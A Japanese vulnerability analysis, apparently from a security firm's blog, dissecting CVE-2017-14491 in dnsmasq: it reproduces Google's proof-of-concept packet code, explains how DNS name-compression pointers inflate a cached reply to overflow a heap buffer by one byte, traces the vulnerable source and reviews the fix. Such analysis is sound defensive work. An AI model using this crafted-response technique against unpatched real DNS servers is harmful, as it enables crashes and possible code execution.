スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Behind Behind the Masq : CVE-2017-14491

タイガーチームセキュリティレポート

Behind Behind the Masq : CVE-2017-14491

Behind the Maskといえば1979年に発表されたYMOの楽曲であり、現在でもライブのセットリストに加わる定番曲で、長年愛されている名曲です。このレポートはそのMaskではなくdnsmasqの脆弱性の裏側を覗き見るものです。

CVE-2017-14491はGoogle社によって発見され、2017年10月2日に公開された7件のdnsmasqの脆弱性のうちの一つです。これらの脆弱性は2.77以前のバージョンのdnsmasqに存在し、対策は2.78以降へのバージョンアップです。

このレポートでは、公開されたPoCやdnsmasqのcommit diffなどの情報をもとに、攻撃の中身を解析していきます。(このレポートのタイトルはGoogle Security Blogにポストされた記事にちなんでいます)

関連 :
Behind Behind the Masq : CVE-2017-14492
Behind Behind the Masq : CVE-2017-14493
Behind Behind the Masq : CVE-2017-14494
Behind Behind the Masq : CVE-2017-14495
Behind Behind the Masq : CVE-2017-13704
Behind Behind the Masq : CVE-2017-14496

攻撃の流れ

この脆弱性は、攻撃者への副問合せ結果をキャッシュしたdnsmasqに対し、そのキャッシュから回答を引き出すようなリクエストを送信するとヒープバッファオーバフローが発生するというものです。

UserdnsmasqAttacker1. 問い合わせ(1回目)2. 副問い合わせ3. 細工したレスポンス4. 結果をレスポンス5. キャッシュ6. 問い合わせ(1回目と同じアドレス)7. キャッシュからパケット生成Heap-based Buffer Overflow

PoC実行結果

Google社が公開したPoCを実行してみた結果です。左のウインドウがdnsmasq、右上はAttacker、右下がUserです。2回の問合せを行うとdnsmasqが異常終了していることがわかります。

攻撃後にdnsmasq側で表示されているメッセージは、Address Sanitizer(ASan)によるものです。ASanはバッファオーバフローやメモリリークなどのメモリエラーを実行時に検出し、レポートを表示するツールです。デフォルトではエラー検出時にプログラムを終了するようになっています。

ASanはデバグのためのツールです。これを組み込むとパフォーマンスに悪影響があるため、実運用には適しません。ASanを利用しない場合はHeap-based Buffer Overflowが発生し、任意コード実行の危険性があります。

パケット解析

検証に使用したPoCはこちらです。PoCが生成するパケットの目的は、dnsmasqがキャッシュから生成するパケットを長大なものにさせることにあり、その方法としてあるテクニックが使われています。パケットの中身をdnsの仕様と照らし合わせながら紐解いていきましょう。

DNSヘッダ

パケットの冒頭はDNSヘッダです。フォーマットはrfc1035にて定義されています。以下に引用します。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

該当するのはこちらのコードです。

  query = data[12:]

  data = dw(id)                        # id
  data += dw(0x85a0)                   # flags
  data += dw(1)                        # questions
  data += dw(0x52)                     # answers
  data += dw(0)                        # authoritative
  data += dw(0)                        # additional

idはdnsmasqからの副問合せにセットされたものを使用する必要があるため、リクエストから抽出してセットしています。flagsの内容については、攻撃に直接関係ないので説明を割愛します。

続く4つのフィールドは、このパケットに含まれるレコードの数を表しています。questionsはQuestion Sectionのレコード数で、通常は1件です。answersは、Answer Sectionのレコード数を表し、このPoCでは0x52という値がセットされているので、このパケットには82件の回答が含まれるということを表しています。

Question Section

次に来るのがQuestion Sectionです。フォーマットはこちら。

                                1  1  1  1  1  1
  0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                                               |
/                     QNAME                     /
/                                               /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QTYPE                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     QCLASS                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

対応するコードを引用します。

  # Add the question back - we're just hardcoding it
  data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +
           '\x00\x0c' + # type = 'PTR'
           '\x00\x01')   # cls = 'IN'

QNAMEの値は、「ラベルの長さ」+「ラベル」を繰り返して結合し、0x00で終端します。書式はrfc1035 3.1. Name space definitionsに定義されています。このPoCでは'\x03125\x018\x018\x018\x07in-addr\x04arpa\x00'が該当します。

QTYPEおよびQCLASSの値は、こちらにまとまっています。QTYPE = 0x000CPTRを表しており、逆引きを意味します。QCLASS = 0x0001はインターネット(IN)を意味します。

まとめると、このレコードは125.8.8.8.in-addr.arpa.の逆引き、という意味になります。

Answer Section

続いて、82件のAnswer Recordです。フォーマットはこちら。

                               1  1  1  1  1  1
 0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                                               |
/                                               /
/                      NAME                     /
|                                               |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      TYPE                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                     CLASS                     |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      TTL                      |
|                                               |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                   RDLENGTH                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
/                     RDATA                     /
/                                               /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

PoCではこのレコードの生成を4つのフェーズに分けています。それぞれ解説します。

Answer Record 1件目

1件目はこちらのコードで生成されます。

  # Add the first answer
  data += ('\xc0\x0c' + # ptr to the name
           '\x00\x0c' + # type = 'PTR'
           '\x00\x01' + # cls = 'IN'
           '\x00\x00\x00\x3d' + # ttl
           '\x04\x00' + # size of this resource record
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x3e' + 'Z'*62 +
           '\x0e' + 'Z'*14 +
           '\x00')

最初の2バイトはNAMEフィールドです。この値はrfc1035 Message Compressionに則って圧縮されています。圧縮フォーマットはこちらです。

+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| 1  1|                OFFSET                   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

0xC00Cをビット表現に直すと1100 0000 0000 1100になります。先頭2ビットが立っている場合は圧縮されているとみなされ、残りの14ビットで参照先のオフセットを表します。この場合オフセットは12なので、パケットの先頭から数えて12バイト目を指し示しています。

ヘッダからパケットのオフセットを数えると以下のようになります。

  data = dw(id)                # offset = 0
  data += dw(0x85a0)                   #  2
  data += dw(1)                        #  4
  data += dw(0x52)                     #  6
  data += dw(0)                        #  8
  data += dw(0)                        # 10

  # Add the question back - we're just hardcoding it
  data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' + # 12

ということで、12バイト目は1件目のQuestion SectionのQNAMEフィールドの先頭に該当するため、このレコードのNAME125.8.8.8.in-addr.arpa.を表しています。

TYPECLASSについては、Question Sectionと同様です。TTLは、この回答の生存期間を表しており、0x0000003Dは61秒を意味しています。

RDATAのフォーマットはQuestion SectionのQNAMEと同様のフォーマットです。すなわち、「ラベルの長さ」+「ラベル」を繰り返し、0x00で終端します。このレコードのRDATAでは全部で1,024バイト分の名前を回答していますが、これ自体は問題ではありません。

Answer Record 2件目

2件目のレコードは、こちらです。

 # Add the next answer, which is written out in full
  data += ('\xc0\x0c' + # ptr to the name
           '\x00\x0c' + # type = 'PTR'
           '\x00\x01' + # cls = 'IN'
           '\x00\x00\x00\x3d' + # ttl
           '\x00\x26' + # size of this resource record
           '\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')

DCBBEEEE.DDDD.CCCCCCCC.AAAA.BBBB.comという名前を回答しています。これも特に不審な点はありませんが、このレコードは次のフェーズで利用されます。

Answer Record 3〜81件目

このフェーズでは79件の同じレコードを生成しています。

  for _ in range(79):
    data += ('\xc0\x0c' + # ptr to the name
             '\x00\x0c' + # type = 'PTR'
             '\x00\x01' + # cls = 'IN'
             '\x00\x00\x00\x3d' + # ttl
             '\x00\x02' + # size of the compressed resource record
             '\xc4\x40')   # pointer to the second record's name

回答する名前は圧縮されています。オフセットは0x440 = 1,088です。パケットの先頭からサイズを積み上げていくと、

フィールド オフセット サイズ 累計
DNSヘッダ 0 12 12
Question Section 12 28 40
Answer Record 1 401,0361,076
Answer Record 2のヘッダ1,076 121,088
Answer Record 2のRDATA1,088 381,126

となるので、指し示す先は2件目のAnswer RecordのRDATAです(コメントに書いてある通りですね)。つまり、このレコードの回答はDCBBEEEE.DDDD.CCCCCCCC.AAAA.BBBB.comです。ここで圧縮を使うことがこのPoCの重要なポイントです。

Answer Record 82件目

最後のレコードです。コードはこちら

  data += ('\xc0\x0c' + # ptr to the name
           '\x00\x0c' + # type = 'PTR'
           '\x00\x01' + # cls = 'IN'
           '\x00\x00\x00\x3d' + # ttl
           '\x00\x11' + # size of this resource record
           '\x04EEEE\x09DAABBEEEE\xc4\x49')

回答はEEE.DAABBEEEE.と、0x449 = 1,097へのポインタです。オフセット1,097が指し示す先は、2件目のAnswer RecordのRDATAの9バイト目なので、繋げるとEEE.DAABBEEEE.DDDD.CCCCCCCC.AAAA.BBBB.comという名前を回答していることになります。

このレコードは、サイズ調整の役割をしています。

罹患箇所

PoCが生成するパケットがdnsmasqの内部でどのように処理されるのか、見ていきましょう。参照するコードは全てバージョン2.78test2のものです。

まずは、バッファオーバフローが発生する箇所のコードを引用します。オーバフローはsrc/rfc1035.c#1141add_resource_record関数内で発生します。

      case 'd':
        /* get domain-name answer arg and store it in RDATA field */
        if (offset)
        *offset = p - (unsigned char *)header;
        p = do_rfc1035_name(p, va_arg(ap, char *));
        *p++ = 0;
        break;

溢れるのはポインタpなので、そのサイズを調べます。

ポインタpのサイズ

padd_resource_record関数の冒頭で、当該関数の5番目の引数ppを代入される形で初期化されます。

  int add_resource_record(struct dns_header *header, char *limit, int *truncp, int nameoffset, unsigned char **pp,
                          unsigned long ttl, int *offset, unsigned short type, unsigned short class, char *format, ...)
  {
    va_list ap;
    unsigned char *sav, *p = *pp;
    int j;
    unsigned short usval;
    long lval;
    char *sval;

発症時、この関数はsrc/rfc1035.c#1433answer_requestから呼び出されており、第五引数にはanspのアドレスが渡されています。

if (add_resource_record(header, limit, &trunc, nameoffset, &ansp,
                        crec_ttl(crecp, now), NULL,
                        T_PTR, C_IN, "d", cache_get_name(crecp)))

anspsrc/rfc1035.c#1252で初期化されています。

  /* determine end of question section (we put answers there) */
  if (!(ansp = skip_questions(header, qlen)))
    return 0; /* bad packet */

skip_questions関数は、第一引数に渡されたDNSパケットを検査し、Question Sectionの次のレコードの先頭アドレスを返却するので、anspの実体はheaderということになります。

headeranswer_requestの第一引数です。

/* return zero if we can't answer from cache, or packet size if we can */
size_t answer_request(struct dns_header *header, char *limit, size_t qlen,
		      struct in_addr local_addr, struct in_addr local_netmask,
		      time_t now, int ad_reqd, int do_bit, int have_pseudoheader)

これを呼び出しているのはsrc/forward.c#1434receive_query関数です。

m = answer_request(header, ((char *) header) + udp_size, (size_t)n,
                   dst_addr_4, netmask, now, ad_reqd, do_bit, have_pseudoheader);

header変数はreceive_query関数の冒頭で、次のように初期化されているので、その実体はdaemon->packetです。

struct dns_header *header = (struct dns_header *)daemon->packet;

daemon->packetの初期化は、src/dnsmasq.c#99main関数で行われています。

  daemon->packet_buff_sz = daemon->edns_pktsz + MAXDNAME + RRFIXEDSZ;
  daemon->packet = safe_malloc(daemon->packet_buff_sz);

safe_malloc関数はcallocシステムコールのラッパで、領域確保に失敗した場合にエラーメッセージを表示して死ぬ機能が追加されています。

やっと領域確保しているコードが見つかりました。引き続き、確保するサイズを追いかけていきます。daemon->edns_pktszsrc/option.c#4638read_opts関数で初期化され、、、

   daemon->edns_pktsz = EDNS_PKTSZ;

src/option.c#2629one_opt関数で、コマンドライン引数-Pによって再設定されます。

    case 'P': /* --edns-packet-max */
      {
        int i;
        if (!atoi_check(arg, &i))
          ret_err(gen_err);
        daemon->edns_pktsz = (unsigned short)i;
        break;
      }

EDNS_PKTSZ定数は、src/config.h#22に定義されています。

#define EDNS_PKTSZ 4096 /* default max EDNS.0 UDP packet from RFC5625 */

MAXDNAMERRFIXEDSZsrc/dns-protocol.h#25-26に定義されています。

#define MAXDNAME        1025            /* maximum presentation domain name */
#define RRFIXEDSZ       10              /* #/bytes of fixed data in r record */

daemon->edns_pktszには、デフォルトでEDNS_PKTSZ = 4096が代入されるので、下記のコードで確保されるサイズは、4,096 + 1,025 + 10 = 5,131バイトです。

  daemon->packet_buff_sz = daemon->edns_pktsz + MAXDNAME + RRFIXEDSZ;
  daemon->packet = safe_malloc(daemon->packet_buff_sz);

したがって、pのサイズは5,131バイトということになります。ASanレポートのいう通りでしたね。

罹患箇所の動き

罹患箇所を再掲します。

      case 'd':
        /* get domain-name answer arg and store it in RDATA field */
        if (offset)
        *offset = p - (unsigned char *)header;
        p = do_rfc1035_name(p, va_arg(ap, char *));
        *p++ = 0;
        break;

この処理では、キャッシュから取り出してきたデータをもとに、レスポンスデータのAnswer Recordを生成しています。va_arg(ap, char*)は、add_resource_record関数の可変長引数から文字列を取得するもので、引き渡される値はsrc/rfc1035.c#1433の最後の引数です。

if (add_resource_record(header, limit, &trunc, nameoffset, &ansp,
                        crec_ttl(crecp, now), NULL,
                        T_PTR, C_IN, "d", cache_get_name(crecp)))

cache_get_name(crecp)は、キャッシュされたAnswer RecordのRDATAを文字列に変換したものを返却します。もともと圧縮されていたものであっても、キャッシュには展開された名前が格納されています。

do_rfc1035_name関数はsrc/utils.c#230にあります。この関数は、展開された名前を「ラベルの長さ」+「ラベル」という形式に変換しながらpに格納します。

unsigned char *do_rfc1035_name(unsigned char *p, char *sval)
{
  int j;

  while (sval && *sval)
    {
      unsigned char *cp = p++;
      for (j = 0; *sval && (*sval != '.'); sval++, j++)
        {
#ifdef HAVE_DNSSEC
          if (option_bool(OPT_DNSSEC_VALID) && *sval == NAME_ESCAPE)
            *p++ = (*(++sval))-1;
          else
#endif
            *p++ = *sval;
        }
      *cp  = j;
      if (*sval)
        sval++;
    }
  return p;
}

これにより、元のPoCが送信したパケットでは圧縮されていて0xC440と2バイトで表現されていた箇所は、'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com'という37バイトに展開されます。

do_rfc1035_nameの返却値は変換後データの末尾+1のアドレスです。受け取ったadd_resource_record関数は、0x00をつけて終端します。

        *p++ = 0;

最終的にこのフィールドは'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00'という値になります。この一連の処理で、この例では2バイトのデータが、キャッシュから生成し直すと38バイトに増幅することになります。増幅するのはPoCで生成されるAnswer Record 3件目以降の80件分です。

ここで、PoCが送信するパケットのサイズと、dnsmasqがキャッシュから生成するレスポンスパケットのサイズを比較してみます。

フィールド PoCサイズ PoCサイズ
累計
レスポンスサイズ レスポンスサイズ
累計
DNSヘッダ 1212 1212
Question Section 24 + 440 24 + 440
Answer Record 1 12 + 1,0241,076 12 + 1,0241,076
Answer Record 2 12 + 381,126 12 + 381,126
Answer Record 3〜81 (12 + 2) * 792,232 (12 + 38) * 795,076
Answer Record 82 12 + 15 + 22,261 12 + 15 + 295,132
Additional Record(EDNS(0)) 02,261 115,143

最後のAdditional Recordはdnsmasqによって追加されるEDNS(0)のOPTレコードです。これまでみてきた処理によって、dnsmasqはトータル5,143バイトのレスポンスデータを生成しようとしますが、格納先のpは5,131バイトしか確保されていないため、最後のAnswer Recordを生成して終端0x00をつけた瞬間にバッファオーバフローが発生します。Additional Recordを除いたレスポンスサイズの累計が5,132バイトとなるのは、pのサイズに由来し、1バイトだけ溢れるように調整されています。

先に記載した通り、起動時オプション-Pで格納先のバッファサイズを変更できます。これを使ってサイズを5,143に変更すれば、今回検証したPoCによる攻撃を回避することは可能です。しかしながら、攻撃者はさらに大きくなるようなデータを与えれば攻撃に成功するため、この脆弱性の回避策にはなりません。

修正内容

commit diffを検討します。共通機能のインタフェースに修正があり、横並びの対策も行われているため、修正箇所は多いですが、ここでは今回攻撃対象となった箇所を抜粋します。

まずは、src/rfc1035.cの修正です。

@@ -1071,12 +1072,21 @@ int add_resource_record(struct dns_header *header, char *limit, int *truncp, int
   unsigned short usval;
   long lval;
   char *sval;
+#define CHECK_LIMIT(size) \
+  if (limit && p + (size) > (unsigned char*)limit) \
+    { \
+      va_end(ap); \
+      goto truncated; \
+    }

   if (truncp && *truncp)
     return 0;

add_resource_record関数内に、CHECK_LIMITマクロが追加されました。このマクロで参照アドレスの境界チェックを行なっています。与えられたサイズがアドレスの末尾を超えた場合はtruncateする処理です。このマクロはadd_resource_record関数でレスポンスデータを追加する前に逐次呼び出されます。

続いて、罹患箇所は下記のように修正されました。

case 'd':
-       /* get domain-name answer arg and store it in RDATA field */
-       if (offset)
-         *offset = p - (unsigned char *)header;
-       p = do_rfc1035_name(p, va_arg(ap, char *));
-       *p++ = 0;
+        /* get domain-name answer arg and store it in RDATA field */
+        if (offset)
+          *offset = p - (unsigned char *)header;
+        p = do_rfc1035_name(p, va_arg(ap, char *), limit);
+        if (!p)
+          {
+            va_end(ap);
+            goto truncated;
+          }
+        CHECK_LIMIT(1);
+        *p++ = 0;
 break;

こちらは二重にチェックが行われます。一つ目のチェックはdo_rfc1035_nameの戻り値がNULLの場合はtruncateするというもので、もう一つは終端文字0x00を追加する前に行われるCHECK_LIMITマクロによるチェックです。

最後にdo_rfc1035_nameの修正です。

-unsigned char *do_rfc1035_name(unsigned char *p, char *sval)
+unsigned char *do_rfc1035_name(unsigned char *p, char *sval, char *limit)
 {
   int j;

   while (sval && *sval)
     {
+      if (limit && p + 1 > (unsigned char*)limit)
+        return p;
+
       unsigned char *cp = p++;
       for (j = 0; *sval && (*sval != '.'); sval++, j++)
        {
+          if (limit && p + 1 > (unsigned char*)limit)
+            return p;
 #ifdef HAVE_DNSSEC
          if (option_bool(OPT_DNSSEC_VALID) && *sval == NAME_ESCAPE)
            *p++ = (*(++sval))-1;

ここでもCHECK_LIMITと同様のチェックを逐次行なっています。が、返却値がNULLになることはなさそうです。呼び元ではNULLチェックを行なっているのに(このままでも問題はありませんが)、、、と思っていたら、次のコミットでNULLを返すように修正されていました。

@@ -246,14 +246,16 @@ unsigned char *do_rfc1035_name(unsigned char *p, char *sval, char *limit)

   while (sval && *sval)
     {
-      if (limit && p + 1 > (unsigned char*)limit)
-        return p;
-
       unsigned char *cp = p++;
+
+      if (limit && p > (unsigned char*)limit)
+        return NULL;
+
       for (j = 0; *sval && (*sval != '.'); sval++, j++)
        {
           if (limit && p + 1 > (unsigned char*)limit)
-            return p;
+            return NULL;
+

これらの修正で、確保した領域を超えて書き込みが行われることはなくなりました。

まとめ

今回は、CVE-2017-14491を検証しました。この脆弱性はDNSの仕様であるMessage Compressionを利用して送信データをサーバ内で増幅させる、というテクニックが使われたことがわかりました。

参考情報

[1] Behind the Masq: Yet more DNS, and DHCP, vulnerabilities (Google Security Blog)
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html

[2] google / security-research-pocs (github)
https://github.com/google/security-research-pocs

[3] dnsmasq (thekelleys)
http://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=summary

[4] google / sanitizers (github)
https://github.com/google/sanitizers

[5] rfc1035 DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION (IETF Tools)
https://tools.ietf.org/html/rfc1035

[6] Domain Name System (DNS) Parameters (IANA)
https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml

[7] ビハインド・ザ・マスク_(曲) (Wikipedia)
https://ja.wikipedia.org/wiki/ビハインド・ザ・マスク_(曲)

修正履歴

  • 2017/12/13 : 軽微な誤字と表現の修正を行いました。
  • 2017/12/15 : DNSヘッダフォーマットの引用をrfc6895からrfc1035に変更しました。
  • 2017/12/18 : シーケンス図を修正しました。

R&D部準備室 柏崎央士